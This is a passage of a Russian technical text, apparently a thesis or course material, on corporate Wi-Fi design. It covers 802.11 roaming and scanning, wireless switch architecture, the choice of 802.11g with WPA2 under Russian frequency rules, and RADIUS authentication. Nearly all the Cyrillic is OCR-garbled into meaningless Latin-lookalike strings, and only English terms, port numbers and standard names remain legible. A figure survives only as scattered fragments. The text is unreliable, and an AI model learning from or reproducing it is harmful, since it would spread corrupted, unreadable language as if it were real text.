Homen poymunra. Ilox 1omMeHOM poOyMHMHIa NOHMMAETCS COBOKYIIHOCTb TOYEK
JOCTyNa,  OTHOCALIMXCS K  OJHOMY  IIMPOKOBEUIATEIbHOMY  JIOMEHy, H
CKOH(UTypUpPOBAaHHBIX, TaK YTO OHUM HMEIOT OJIMHAKOBBIA HJICHTU(PUKATOP 30HBI
obcnyxuBanus (SSID).

JiniutrenbHOCT, poymuHra. Iloj AIMTENBbHOCTHIO POYMHUHIA MOHHUMAETCS BpEMs
HEOOXOMMOE JJIsi OCOLMHPOBAaHUSI a0OHEHTa C HOBOM TOUKOW JOCTyma. DTOT HpOILECC
BKJIOUAET cliefyromue (as3bl: IpOLEecC 30HAWPOBAHMS; MPOLECC ayTEeHTU(PUKAIMHU T10
cragaapty 802.11; mpomecc accoumupoBanuss mo crangaprty 802.11; mnpouecc
ayrentudukanuu o crangapty 802.1X. CymmapHasi IIUTEIBHOCTh ITUX IMPOIIECCOB U

COCTABJACT MINTCIIbHOCTb POYMHHIA.
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< JloMeH poyMHUHTa >

Puc. 38. JlomeH poymuHra ypoBHs ABa

OnpenesieHus HANPaBJIEHUA IBUKEeHUS A00HEHTA

Mexanu3M onpeAensomMi TOUYKY JOCTyNa, B HAIPABICHUU KOTOPOM JBUIKETCS
a0OHEHT HE OMpPEACNICH CTAHAAPTOM, KaXKIbId MPOU3BOIAUTENL peIlaeT ATy 3ajady Io
cBoeMy. MOXHO BBIJICTIUTH JIBa BapuaHTa peanusanuu. [IpeaBapurensHoe oOHapyKEeHHE
TOYKU focTyna. OOHapyKeHHE TOUKH JOCTYIIa BO BpeMs nepeMenieHus. Kaxpii u3 npyx
BAPUAHTOB MOXXET B CBOIO OUEPE/Ib UCIIOIB30BAThH OJIMH U3 CIEAYIOIIUX MEXaHU3MOB.

AKTUBHOE cKaHUpoBaHUE. KIIMEHT aKTUBHO MIIET TOYKY JOCTYIMa. DTOT MPOIECC
00BIYHO BKJIFOYACT OTMHPABKY KIMEHTOM 30HIUPYIOIIUX 3alpOCOB MO KaXIOMYy U3

CKOH(I)I/IprI/IpOBaHHBIX Ha HCM KaHAJIOB MW OXHWAAHUC OTBCTOB OT TOYCK JOCTYIIA Ha
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30HJIUPYIOILIKE 3aMpOChl. 3aTeM KJIMEHT OMpPEAEsieT, Kakas U3 TOUEK MOJIXOJUT JJIsl HETO
Jy41ie BCEro.

[TaccuBHOE ckanupoBanue. KilmeHT He TieperaeT GpemMbl, a IPOCTO MPOCTYIITHBACT
CUTHAJIbHBIC (pEiMBI, TIEpeaaBacMbie MO KaXJAOMy M3 KaHaiuoB. KnwmeHT mpomormkaer
NepexXoAUTh C KaHajla Ha KaHall Yepe3 OIpe/elICHHbIE MPOMEXYTKH BPEMEHH, KakK IMpHU
AKTUBHOM CKaHUPOBAHUU, HO IIPU 3TOM HE MOCHLIAET 30HIUPYIOLIHE 3aIIPOCHI.

AKTHBHOE CKaHUPOBAHHME CUYUTAETCs 00Jiee COBEPILIEHHBIM MEXAHH3MOM IOMCKa
TOYKH JIOCTYIa, TOTOMY YTO MPHU €ro UCIOIb30BAaHMHM aKTUBHO PACCHUIAIOTCS 3aMpPOChI 110
BCEM YacCTOTHBIM KaHaiaM. [Ipu 3ToM TpeOyeTcs 4ToObl KIMEHT OCTaBajCsi Ha OJHOM M
TOM k€ KaHaie ot 10 g0 20 mc, okugas OTBET Ha 30HIUPYIOIIUI 3aIpoc.

[Ipy macCMBHOM CKaHMPOBAHUU KJIMEHT MEJJIEHHEE MPOXOAHUT MO KaHajlaMm, 4eM
IpU aKTUBHOM, TaK KaK MPOCIYIIMBACT CUTHAJIbHBbIC (DpEMbl, MOCHUIAEMbIE TOYKAMHU
JIOCTYyTIA C TIPEAOIpEeAeICHHON 4acTOToM (00b14HO 10 cUrHaIBHBIX (PEUMOB B CEKYHIY).
Takoll KIMEHT NOJKEH OCTaBaTbCAd HA KaHalle J0Jblle 4YTOObI ObITh YBEPEHHBIM 4YTO
MOJIYYHJI CUTHAJIbHBIE (PpEeiMbl OT MaKCUMAaJIBbHOTO YHUCJIa TOYEK JIOCTYMa JUIsl JAHHOTO
kaHana. lHorma maccMBHOE CKaHMpPOBAHME HE MPUMEHUMO, HampuMep, eciu
aIMUHUCTPATOP, B HEJsIX 0€30MacHOCTH, OTKJIIOYUI TMepeaady B CUTHAJBHBIX (peitmax
uMenu SSID, kiaueHT He MOXKET ONpeneiauTh NPUHAMJICKHOCTh TOYKH K JOMEHY

pOyMHUHTA.

IIpeaBapurenbHoOe 00HAPYKEHHE TOYKH J0CTYIIA

[IpeaBapuTenbHbli POYMUHI — 3TO (QYHKUHUS, KOTOpas HaAeNseT KIHUeHTa
CIIOCOOHOCTBIO MEPEXOJIUTh K OOCITYKUBAHUIO IMPEABAPUTENIBHO OINpPEAEIECHHON TOUYKOMN
JOCTyINa TOCJE TOTO, KaK KJIMEHT MNPUMET pEelIeHHe MepeMellaTbcs. DTOT Mpolecce
TpeOyeT MHUHHMMAJIBHOTO OOIIEr0 BPEMEHU POYMHUHTIa, Onarojaps YeMy CHHKAETCS
BO3JICHCTBME POYMHUHTA Ha paboTy mpuiiokeHuit. O HAKO MpeaBapUTEIIbHBIA POYMUHT HE
CBOOOJIEH OT HEJIOCTATKOB.

Jis Toro 4ToOBl KJIMEHT MOT ONpPENEeNNUTh, K KakKOH TOYKe JOCTyma HY>KHO

OCYIICCTBJIATh IMOAKIOYCHUC, OH MOOJDKCH CKAHUPOBATHL TOYKM AJOCTyIIa B TCUYCHHUC
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nepuojia HOpManbHOW, Oe3 poymuHra, pabotel. Korma KIHMEHT OCYIIECTBISET
CKaHMpPOBaHUE, OH JIOJDKEH MEPEeXOAUTh C KaHaja Ha KaHasl, 4TOObl WM MPOCIYIIUBAThH
JpyTue TOYKH JOCTyNa, WM pacchliaTh 30HAMPYIOIIME 3alpochl. Takoe W3MEHEHHE
MOXXET TIOTCHIIMAJLHO TIPWBECTH K BO3HHKHOBEHHIO JBYX MpOOJIeM sl KIIMCHTA,
KOTOpbIE MOTYT MOBJIUATHh Ha PA0OTY NPUIIOKECHUIA.

KnmeHT He MOKeT MmoTydaTh JaHHBIE OT TOYKH JOCTYIA, C KOTOPO OH B JaHHOE
BpEMsI aCCOLMUPOBAH, MOKA OH CKaHUPYET KaHajbl (AKTMBHO WM MAacCUBHO). Eciam Touka
JIOCTyTa TIIOChUIAE€T JIaHHbIE KIHUEHTY B TO BpEMs, KOIJla OH CKaHUPYET KaHaJjbl
(mpenmonaraeTcs, 4TO KIMEHT pabOTaeT Ha JAPYroM KaHaje, HEXKEJIW TOuKa JIOCTYIa),
KIJIMEHT MPOITYCTHUT 3TU JIAaHHBIE U MOTPEeOyeTCs MOBTOPHAS Mepeaad UX TOUYKOU JOCTyIa.

[lpunoxenne KIMEHTA MOMKET WCIBITATh BO3ACHCTBHE CHWDKEHHS IPOITYCKHOM
ciocoOHocTH. KITMEHT He MOKeT mepeqaBaTh JTaHHBIE BO BPeMsS CKaHWPOBAHHS KaHAJIOB
(akTUBHOTO JMOO TMACCHUBHOIO), IMOATOMY HEKOTOPhIC MPUIIOKEHHUS, BBIMOJHICMBIC

KIIMCHTOM, MOTI'YT OINYTUTb CHHIKCHUC HpOHYCKHOﬁ CITOCOOHOCTH.

OO0Hapy:xeHHe TOYKH I0CTYNIA BO BpeMs NepeMeleHnst

Ipyroii BapuaHT OOHApY>KEHHUS TOYKH JOCTylMa COCTOMT B TOM, YTO €€ TOHUCK
HAYMHACTCS YK€ TOCJIe MPUHATHUS PEUICHUS] O POYMHUHIE. ODTOT MPOIECC MOXO0X Ha
TaKOBOH, KOr/Ja KJIIMEHT OCYIIECTBISET HAYaJIbHOE BKIIOYEHUE, 32 UCKIIFOUEHUEM TOTO 4YTO
3aMpoC Ha acCOIMAIMI0, MOCBhUIAEMbIM KJIMEHTOM HOBOM TOYKE MOCTYyMa, SBISETCS B
JEUCTBUTETHLHOCTH (peMOM 3ampoca Ha peaccoIraluio.

OO6HapyXeHHe TOYKU OCTYIa BO BpeMs IMepeMEIIeHHs] HE TPUBOJIUT K TTOBBIIIEHUIO
HaKJIQJHBIX PACXO0JIOB, XapaKTEPHOMY JIJIsl IPEIBAPUTEIILHOTO OOHAPYKEHUSI TOUKU JIOCTyTa
(B TO BpeMsi, KOTJ]Ja POYMHUHI HE OCYIIECTBIIIETCS), IOTOMY YTO KJIMEHT HE 3HAET, C KaKOU
TOYKOM JIOCTYyIa OH JIOJDKEH PEeacCOLMUPOBATHCS, HO 3aTO OOJbIIE BPEMEHU TPATUTCA Ha

caM IpoIeCC POYMUHTa.

HpuHuun padoTel 0eCIPOBOAHBIX KOMMYTATOPOB

B coBpemeHHOI Moenn OECIpOBOJHBIX CETEH TOYKU JIOCTyMma padOTarOT Kak
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U30JIMPOBAHHbIE CHUCTeMBbI, oOecreunBas Takue GyHKuuu crangapta 802.11, kak
murdpoBaHUe TaHHBIX U ayTeHTU(UKAIUs ToJib3oBaTens. B apxutekrype, 0azupyromeics
Ha TEXHOJIOTMH OeCIIPOBOAHON KOMMYTAIIMH, BCE MHTEIUICKTYaJbHbIe (PYHKIIMH, KOTOpPbIE
BBIMIOJHSUIUCh TOYKAMM JIOCTYMa, JEJETUPYIOTCS IEHTPAJbHOMY OECIpOBOJTHOMY
KOMMYTaTOpY, CIENHAIbHO CIPOCKTUPOBAHHOMY JJIi CKOPOCTHOM 0OpabOTKH MaKETOB.
Takum 06pa3oM, YIpoIaroTcs 3aJadd TOYEK JIOCTyIa, KOTOpPbIE, MO CYTH, BBIMOJHSIOT
poisib TpaHcuBEPOB. COeIMHEHHBIE HETOCPEICTBEHHO ¢ OECIPOBOAHBIM KOMMYTaTOPOM,
OHM CTAHOBATCS Kak OBl €ro YyJaJleHHbIMH MOpPTaMU JOCTyla, HaIpaBJISIONIUMU
M0JIb30BATENbCKUN TPAPUK KOMMYTATOPY A1 00pabOTKH.
@dyHkuuyu 0€30MacHOCTH, HampuMep MHU(PpPOBaHUE, ayTEHTU(UKAIMS U YIpaBICHUE
JIOCTYTIOM, peajn30BaHbl B O€CHPOBOJHOM KOMMYTATOpPE TaK, YTO OHU "OTCIICKUBAIOT"
MI0JIB30BATES, TO3BOJISASI EMY MEPEIBUTaThCA MEXy TOUKaMU JOCTYIa, KOMMYTaTOPaMH,
BUPTYaJIbHBIMU CETSIMH U MOJICETAMU O€3 MOTEPU COETNHEHUSI.

becnipoBofHbIE  KOMMYTaTOpbl ~ OOECHEUYMBAIOT TAKXKE€ HOBBI MOAXOJ K
aBTOMaTu3auuu yrpasieHus ceTsimMu Wi-Fi. [lockonbky kKoHpUrypauuu To4ek aocTyna
XpaHIATCS B KOMMYTAaTOpE M 3allUTHIBAIOTCS, KaK MpaBUio, Takxke oT Hero (Power over
Ethernet -- PoE), To GecnipoBoiHOI KOMMyTaTOp CHOCOOCH aBTOMATHUYECKU OMPEICIIUTh
OTKAa3aBUIYI0 TOYKY JOCTyHa M JAaTb KOMAaHJy COCEAHUM YBEIWYUTb MOLIHOCTH M
U3MEHUTh HACTPOMKM KaHajJIOB, 4YTOOBI KOMIIEHCHpPOBaTh HeucnpaBHOCTh. Koraa
BBIILIE/IIIEE U3 CTPOSI YCTPOMUCTBO 3aMEHSIETCs, KOMMYTaTOp PETUCTPUPYET ITO COOBITHE U
KOHQUTYpUpPYET HOBYIO TOYKY JocTyna. becnpoBogHOW KOMMYTAaTop MOCTOSIHHO
BBITNIOJIHSET MOHUTOPHUHT 3(Upa C 1EeNbI0 ONpeAesIeHNs NOJKIIOUEHHbBIX M0JIb30BaTelIel U
3arpy3kM CETH W B COOTBETCTBUM C MapLIPyTaMH IEPEIBHKEHHS IOJIb30BaTENIECH
JUHAMUYECKH HACTPAMBAET MOJIOCY MPOIYCKAaHMs, YNPaBIsAET TOCTYIOM, KaueCTBOM

o0CITy’>)KUBaHUS U APYTUMH ITapaMeTpamu.

ApxurtexkTypa
Jlsis BBITMOJHEHUS pacUIMpEeHHOro Habopa (yHKIUI cTaHAapTHbIE YPOBHU 2 U 3

(KaHAJBHBIA M CETEBOM, COOTBETCTBEHHO) CTEKa MPOTOKOJIOB B CHCTEME, 0a3MpOBaHHOMN
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Ha OECTIPOBOAHBIX KOMMYTATOPaX, MOMOJHSIOTCS TPEMsI YHUKAIbHBIMU OJIOKaAMMU:

- mobility management (yrnpaBjieHuE MOOMIBHOCTBIO);

- security management (ynpaBieHre 0€3011acCHOCTHIO);

- air traffic management (ynpaBieHue paauoTpapukom).

brok ynpaBnenus MOOMIBHOCTBIO 00BbeauHseT MpoTokosibl Mobile IP u DHCP
(Dynamic Host Configuration Protocol) ¢ Takumu ¢yHKUMsAMH OJOKa YIpaBleHUS
0€30MacHOCThbIO, KaK ayTeHTHU(UKAIMS T0JIb30BaTeNis M MOOUIBHBIN OpaHaMayap,
MOJIATUKH YIPABIEHUS JOCTYIIOM, MOHUTOPUHI COCTOSIHUSI OECTIPOBOAHBIX COEIMHEHU.
Crarychl aKTHBHBIX MOJIb30BATENE coiepkarca B rioOanbHOM 0aze naHHbBIX (Active
User Database), uTo MO3BOJIIET HENPEPBHIBHO IMOCTaBIATH HEOOXOIMMBIE CEPBHUCHI B
IPOIECCEe UX TIEPEMEIICHH C COOTIOACHUEM COOTBETCTBYIOIINX MOJUTHK 0€30MacHOCTH.

YpoBeHb 6€30MacHOCTH B IOMOJHEHUE K MPOIEAYPE ayTCHTU(DHUKAIIINH U 3aIIUTE C
MOMOIIIbI0 MOOWJBLHOTO OpaHaMay’pa BbIONHSAET Takxke VPN-mudpoBanue s
KaXJ0ro MOpTa, TapaHTUPYs KOH(PHUIECHIIMATHHOCTh OECIPOBOIHON Tepeaadn TaHHBIX.
PaboTast coBMecTHO ¢ GJIOKOM ympaBlieHUs paauoTpapukoM, OH OJIOKUPYET Tpaduk OT
HEUCITPaBHBIX TOUEK JOCTYyTIA.

VYpoBeHb ympaBieHus paauotrpagukoMm obecriednBaeT OOHAPY)KEHHE CUTHAa B
30H€ MOKPBITUS. OH PEryaupyeT MoJIoCy MPOIyCKaHUs M MPEIOCTaBISET HEOOXOAUMBIN
Kj1acc oOCIyKMBaHUs OECpPOBOAHBIM KIMEHTaM. Bce WHCTPYMEHTHI, BKIIOYAIOIINE
aBTOMATHYECKOE OOHapy>KeHWe U KaJIUOpPOBKY TOYEK JIOCTyMa, OeCIpOBOIHOMN
ynaneHHbiii MOHUTOPUHT (RMON) 1 3aXxBaT MakeToOB JAHHBIX, CTPOSITCS BOKPYT YPOBHS

YIIPaBJICHUSA paguoTpaduKom.

AJIropuT™m padoTsbl

becnipoBOIHON KIIMEHT MOJY4YaeT IOCTYN K CETH, NBITAsICh MOAKIOYUTHCS IS
3TOr0 K TOYKE JOCTyNa C Haubojee CUIbHBIM CUTHAJIOM. 3alpoc Ha COCAMHEHHUE MOKET
VCXOJUTh OT HOBOTO IOJIb30BATENs, PETUCTPUPYIOLIErOCS B CETH, WIM OT AKTHUBHOTIO,
U3MEHUBLIETO CBOE€ MECTOHAXOXKJIECHHE. 3alpoc Ha COEAUHEHUE HaIpaBiseTcs K

0ecrpoBOAHOMY KOMMYTATOPY, KOTOPHIN MBITAETCS BOCCTAHOBUTH COCTOSTHUE KIIMEHTA W3
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bJl akTuBHBIX mMoNB30BaTeneil. Ecnu mocnaBmmii 3ampoc HE OBLT paHee aKTUBEH, TO
KOMMYTaTOp HAYHET MPOLIECC PETUCTPAIMK C TTOMOIILI0 MpoTokoja 802.11x u 6a30BBIX
MexaHu3MoB ayTeHTu(ukarmu, Hampumep RADIUS, Active Directory. Ilpomecc
ayTeHTH(UKalMK 3aBepiiaeTcs ngo0aBleHMEM HoBoro kiaueHta B bBJl co Bcelt
HeoOxomuMon uHpOpMalMe o ero craryce. 3aTeM MEXIy I0JIb30BaTelIeM U

OecpoBOIHBIM KOMMYTaTOpOM ycTaHaBiauBaetcs VPN-ceccus.

Tabmia MAC-
aIPECOB N
Intl: A.B.

Tabmia MAC-
ampecoB N\
Int2: A.B.

MAC-anpec

MAC-
mpee AB

AB

Puc. 39. Ilpouiecc poyMuHra ¢ UCIOJIb30BaHUEM OECTIPOBOHOTO KOMMYTaTOpa

Onucanue anmapaTHO-MPOrPaMMHOI0 KOMILJIEKCa

Kpurtepuu onTuMaabHOCTH CHCTEMbI

Jlis mpoeKTUpoBaHUsT OECHpPOBOJIHOM CeTH, HEOOXOIMMO 33JaTbCi HEKOTOPBIMU
KaueCTBEHHBIMU TPEOOBAHUSIMHU K CHUCTEME. JTO MO3BOJIUT, B JAJIbHEUILIEM, ONPEIETUTh
TEXHOJIOTHIO, HAWITYYIINM 00pa30M MOIXOASIIYIO JJIsl PeIeHUs TOCTaBJICHHON 3aJauH.

Urtak, chopmynupyeM U MOSICHUM OCHOBHBIE TpeOOBaHMS, MPEIBABISIEMbIE K
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BBEIOMPAEMOMY CTaHIAPTY, a, CIEIOBATEIHHO, U K MPOTPAMMHO-AITIapaTHOMY KOMITJIEKCY:

Juana3on padoumx 4vactor. JlaHHBI MmapaMerp SBISETCS OCOOCHHO Ba)KHBIM,
MOCKOJIbKY  pa3BepThiBacMas OeclpoBOJHAs CETh NepeAadyd JaHHBIX JIOJDKHA
UCIIOJIb30BaTh amnmapaTypy, padoTarollyl0 B YaCTOTHOM JAuana3oHe, paspemiennom ['KPY
P® (I'ocynapcTBeHHass KOMUCCHS 110 paauodactoraMm). Ha ceromnsmauii nenp B Poccun,
JUTs BHYTPUO(MUCHBIX CHCTEM IMepefadd JaHHBIX, PAa3pEIICeHO HCIOJBb30BAaHUE IOJIOCHI
yactor 2400 - 2483,5 MI'u (pemenue No 04-03-04-003 ot 6.12.2004r.). [lo stomy
npuMeHeHue crtangapta 802.11a, pacuutaHoro Ha paboty B auamnazone S5 [T, He
MPECTABIISACTCS BOBMOKHBIM.

JlaibHOCTDH JeilicTBUSI paauocucTeMbl. /[ oOecrieueHus] KaueCTBEHHOW CBSI3H
MOOMJIBHBIX YCTPOHMCTB C CEThIO BO BCeX TpeOyeMbIX ydacTKaxX IOMEIICHUS,
paguocucTeMa J0DKHA OOECIEeYUTh JOCTATOYHOE MJii YBEPEHHOTO IMpPUEMA CUTHAJIOB
nokpeitie paguonsnydeHueM. Cranmaptel 802.11b u 802.11g npuMepHO OJUHAKOBO
MOJATOTOBJIEHBI K paboTe B YCIOBUAX MHOTOJYYEBOTO PACIPOCTPAHEHHS] CHUTHAJIOB.
[ToxpbiTHE HOOOTO  MOMEIIEHHS OECpOBOJHONW CEThIO TpeOyeT HE  CTOJBKO
MHKEHEPCKOTO pacyueTa, CKOJIbKO OO0JIBIIOr0 KOJUYECTBA 3aMEPOB.

Ckopocts nepexauyun uH@opmanuu. TpeOoBaHUs K CKOPOCTU MEpeaauu JaHHBIX
OeCrpOBOJHOW CETHU  SIBIAIOTCS OJHUMH W3 OCHOBHBIX. OHHU  oOmpenenstoTcs
TpeOOBAHUSIMU K CKOPOCTH JOCTYIa KO BCEM UCIOJIb3yEMbIM CEpPBUCAM U pPecypcam CeTu
(x 6a3aM JaHHBIX, TEPMUHAIBHBIM U (alIoBbIM cepBepam). M3 paccCMOTPEHHBIX BBIIIE
CTaHJIapTOB, ONTUMAJbHBIM C TOYKHA 3PEHUSI CKOPOCTH, SIBIISIETCS CTaHIApPT Nepeaadu
nannbix 802.11¢, mo3Bosironuii nepeaaBath HHGOPMAIIUIO CO CKOPOCTh 110 54 MouTt/c.

be3onacHOCTh M 3aIIUINEHHOCTH CeTH. /[ KOpPHOpPAaTUBHOW CETH, KIOUEBOM
3amauen sBIseTca obOecrieueHne TpeOyeMoro ypoBHA 0€30MacHOCTH HH(pOpPMALNH,
HUpPKyJIUpytoneil B cetu. Bompockl MHPOPMAMOHHON M TEXHUYECKOM Oe30MacHOCTU
OEeCTpOBOHON CETU CTAHOBATCS OCHOBOIOJIATAIONIMMU TPU TMPOCKTUPOBAHUHM TaKOM
cuctembl. OcTpoTa 3TOM MPOOJIEMBI CBSI3aHA, MPEXKIE BCETO, C MCIOJIB3yEeMON cpenoi

nepeaayun NaHHbIX - paanoddupom. OcymecTBUTh nepexBaT nHpopmaiuu B paarnoddupe
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HAMHOTO TIPOIlle, YE€M B TNPOBOJHBIX CETAX, - JOCTATOYHO HMETh KOMILUICKT
MOJIb30BATENIBCKOTO  O0OpYZOBaHUS M  CHEHUAIM3UPOBaHHBIA codT. OOecrieueHue
0€30I1acCHOCTH PaIuOCETH, KaK U JII000M Ipyroi KOMMYHHUKAIIHOHHOW CUCTEMBI, CBOJAUTCS
K PpEIICHUI0 Tpex MpoOdJieM — 3allluThl OT TMOJKIIOYEHUS K CETH HeJerajibHbIX
MOJIB30BATENECH, MPEIOTBPAILECHUS] HECAHKIMOHMPOBAHHOIO JOCTYyIla K peEcypcaMm CETH
3apETUCTPUPOBAHHBIX TMOTPEOUTENCH M TapaHTUPOBAHHON MOAJAECPKKU IEIOCTHOCTH U
KOH(UIEHIIMATbHOCTH  JIaHHBIX, TI€pe/laBaeéMbIX IO paJuoKaHaliaM. BpiOupaeMblit
CTaHJapT, B PAaBHOW CTENEHU, KaK WU MPOrPAMMHO-ANIAPATHBIA KOMIUIEKC, IOJIKHBI
o0ecneyuTh peIIeHHe STUX npobieM. Jlnsg pemeHuss mepBbIX ABYX 3adad CEroJHs
OPUMEHSIOTCST TPOIEAYPhl ayTeHTU(DUKAIIMKM, aBTOPU3AIMH W y4deTa, IS pEelIeHUs
TpeTbe MPOOJIEMbl MPUMEHSIOTCS MPOUEAYphl MU(pPOBaHUS, MPOBEPKHU IEIOCTHOCTU
MaKEeTOB U T.J.

AyTteHTudukanus  mOpeAcTaBisieT  co0OM  Mpollecc  YCTaHOBIICHUS
NOJJIMHHOCTH a0OHEHTA.

ABTopu3anusi 00eCreyuBaeT KOHTPOJIb Haa JOCTYIOM  JIETaJbHBIX
MOJIB30BATENIEH K pecypcaM CEeTH. YCHENIHO MPOWIs JTaHHYIO0 MPOLELypy, MOTPeOUTenh
MOJIy4aeT TOJIBKO T€ MpaBa, KOTOPBIE MPEAOCTABICHBI €My aJIMUHUCTPATOPOM CETH.

Cuctema ydera (QUKCHUpyeT BC€ COOBITHS, MPOUCXOISIIME B CETH. ITa
CHUCTEMa PETHCTPUPYET KOJIUYECTBO PECYPCOB, MOTPEONISIEMBIX KaXKbIM TOJIb30BaTENIEM,
BpeMs ero paboThl B CETH U T. [I., YTO HEOOXOJIMMO B TIEPBYIO OUepeb IJIsl yIPaBICHUS
CeThbl0, B TOM 4ucle sl KOHTpojs pgocrtymna. [ludpanus naHHBIX NPOU3BOAUTCS C
MOMOIIBI0  CHEUUAJBHBIX AJITOPUTMOB, 3allUIIEHHBIX KOJOBBIMM  KIIIOYaMH, C
MPEeAYyCMOTPEHHBIMH MPOLIEAypaMy JUHAMUYECKON CMEHBI KITFoUel muppoBaHUsl U T.11.

Ha ocHOBe chopmymupoBaHHBIX KpPUTEPHUEB MOKHO BBIOpATh MOIXOJSIIUIN
crangapt. Cpa3zy uckitouyaem u3 paccmotrpenus cranaapt 802.11a Tak Kak OH UCIOJIb3yeT
HE paspeuieHHbli B Poccun yacTtoTHbM auamna3oH. M3 IByX OCTaBUIIMXCS CTaHAAPTOB
HamOoJiee mepcrneKTuBHBIM siBisieTcs 802.110 Tak kak oH oOecrneuynBaeT OOJBIIYIO

CKOPOCTb Iepeaaun, 000pyI0BaHHE COOTBETCTBYIOIIEE ITOMY CTAHJAPTY MOAAECPKUBAET
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cnenudukanuio WPA2, kotopas B CBOIO ouepelb O00ECTeUMBACT HAEKHYIO 3allUTy
nepesaBaeMoil 1o paJauoKaHany HMHGOpMauuu (MCIONb3YeTCs alrOpUTM IH(pPOBaHUS

AES) u paznooOpa3HbIe METOIbI HAIC)KHON ayTeHTU(PHUKAINN.

Onucanne u BHIOOP cepBepa ayTeHTUPUKALUN

Jlns mpenocTaBiieHns AOCTyNa MPABOMOYHBIX IOJIb30BaTeNIeld K MPOEKTHPYEMOM
cetru Oyner mnpumeHsaTbess RADIUS cepep. B ero 3amaun BXOAWUT mMpoBepka
MOJJIMHHOCTH M aBTOPHU3AlIMsI MOJIb30BATENEH, 3alIUTa CETU OT HECAHKIIMOHUPOBAHHOTO
JI0CTyIa, MPOTOKOJMpoBaHUE coObITHI. PaboTta cepBepa OCHOBaHAa Ha MPOTOKOJIE
RADIUS (Remote Authentication Dial-In User Service) — 3To oTpaciieBoii cTaHIapTHBIH
IIPOTOKOJI, onucaHHbId B JokymeHTax RFC 2865 «Remote Authentication Dial-in User
Service (RADIUS)» u RFC 2866 «RADIUS Accounting». IIpotokonx RADIUS
UCIIOJB3YETCSl JJISI OCYILIECTBJICHUSI IMPOBEPKU MOMJIMHHOCTH, aBTOPU3ALMU U Y4YETa.
Kmuent RADIUS (oObiyHO cepBep yaaineHHOTo jgocTyma, VPN-cepBep uium Touka
J0CTyTa K 0€CIPOBOIHON CETH) MOCHUTAET YUETHBIE JIAHHBIE MOJIH30BATENS U TTapaAMETPHI
noaknoyeHuss B ¢opme coobuenuss RADIUS na cepsep RADIUS. Cepsep RADIUS
IIPOBEPSET MOMJIMHHOCTh M aBTOpHU3yeT 3anpoc knveHta RADIUS, a 3arem moceuiaer
obpatHo otBetHOe coobmenne RADIUS. Kmuentst RADIUS mockinator Ha cepBepbl
RADIUS Takxe coobmenus ydyera RADIUS. Kpome Toro cranmaptr RADIUS
NoAACPKUBAET HCHOJIb30BaHue Mpokcu-cepBepoB RADIUS. ITpokcu-cepsep RADIUS —
3TO KOMIBIOTEp, Tmepechutatomuii  coodmenuss RADIUS wmexay xommberoTepamu,
noaaepkuBaromumMu nporokos RADIUS.

Jlnsa mepenaun coobmienuit RADIUS wucnons3yercs mporokon UDP  (User
Datagram Protocol). {ns cooGuienuit npoBepku nomnHHoctd RADIUS ucnonbiyercs
UDP-niopt 1812, a mnsa coobuienuii yuera RADIUS — UDP-nopt 1813. Hekortopsie
CepBephl J0CTyma K ceTu MOryT wucnonb3oBaTe UDP-mopt 1645 nns cooOuienwmii
nposepku noauHHOCTH RADIUS u UDP-niopt 1646 ns coobuienuit yuera RADIUS. B

nokymentax RFC 2865 um RFC 2866 ompeneneHbl CleIyONMe THUIBI COOOIIEHUN
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RADIUS.

Access-Request (3ampoc gocryna) Iloceunaercs knmentom RADIUS nns
3amnpoca IPOBEPKH MOJJIMHHOCTH U aBTOPU3AIIMM MOMBITKU MOAKII0ueHus. Access-Accept
(mpenocraBnenue noctymna) lloceutaercst cepBepom RADIUS B oTBeT Ha cooOiieHHe
3amnpoca joctyna. Jto coobmenue uHpopmupyet kinreHta RADIUS o Tom, yto ans
MOMBITKM MOAKIIOYEHUsI KIMEHTa ObUla BBIMOJHEHA TMPOBEPKA TMOJJIMHHOCTH U
aBTopm3arus. Access-Reject (3ampemenune nocrymna) [loceutaercs cepsepom RADIUS B
OTBET Ha COOOIlEeHHE 3arpoca AoCTyna. IJTO coodiieHue HHGOPMHUPYET KIMEHTa
RADIUS o ToM, 4TO MOmNbITKa MNOJAKIIOYEHUS] KIuMeHTa Obuia oTkioHeHa. Cepsep
RADIUS noceuiaer 310 cooOllieHue B TOM CiIy4ae, €Clid HEJICHCTBUTENbHBI yUETHBIC
JTAHHBIE WJIM HE aBTOPU30BaHA MOMBITKA MOJKIFOUCHUSI.

Access-Challenge (3anpoc yrounenus) Ilocweutaercst cepsepom RADIUS B oTBeT
Ha COOOIIEHHE 3ampoca JOCTyIa. JTO COOOIIECHUE SABIISETCS 3alIPOCOM JOIMOJTHUTEIbHON
unpopmaruu kireHta RADIUS, kotopsiif TpeOyeT oTBeTa. Accounting-Request (3armpoc
yuera) Iloceunaercs kimmentom RADIUS jang  yka3aHust ydYeTHBIX CBEJIEHUHA O
paspemieHHOM mojakitoueHud.  Accounting-Response (otBer yuera) Ilocwimaercs
cepeepoM RADIUS B otBeT Ha cooOuieHue 3ampoca ydera. ITO COOOIICHUE
MOATBEPAKAACT YCIEIIHOE MOJydeHrue U 00pabOTKy COOOIIEHHS 3apoca ydeTa.

Coobmenne RADIUS cocrout tonbko u3 3aronoBka RADIUS wnu u3 3aronoBka
RADIUS u oanoro wiu Heckoybkux aTpuOyToB RADIUS. Kaxasiii atpudytr RADIUS
COJIEP’KHUT OMPENIEIICHHbIE CBEICHUSI O MONBITKE MNoakitoueHus. Hampumep, mmeroTcs
atpuOyTel RADIUS nnsi muMeHu mosb30BatTensi, Mapojsl IMOJIb30BATENsl, THMA YCIYT,
3ampaliMBaeMbIX Mosib3oBaTeneMm, u [P-anpeca cepsepa poctyma. ATpudytel RADIUS
UCTIOJIB3YIOTCSL i Tiepefaun wuHpopmaruu mexay kiauentamu RADIUS, npokcu-
cepepamu  RADIUS wu cepsepamu RADIUS. Hanpumep, cnucok atpuOyToB B
COOOIIEHMH 3ampoca JOCTyNa BKJIIOYAeT MHPOpMalUi0 00 YYETHBIX JaHHBIX
MOJIB30BATEISI U TlapaMeTpax IMOMBITKY MOAKIoUeHUss. B oTiimune ot 3Toro cooOrieHue

MPEIOCTaBIEHUSL JIOCTYNA COJAEPKHUT WHOOPMAIMI0O O THUIME MOAKIIOYEHHS, KOTOpPOe
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MOKET OBITh OCYIIECTBJICHO, OTPAaHUYEHUSAX MOAKIIOUECHUS M HMEIOIIUXCS OCOOBIX
arpudyTtax Bermopa (Vendor-Specific Attribute, VSA).

Ha cerogusimnuii nens cymiectByetr Oombiroe mMHoxkecTBo RADIUS cepsepos,
pEaNM30BaHHBIX KAaK MPOTPAMMHO, TaK M allapaTHO. BONBIIMHCTBO M3 HUX — 3TO
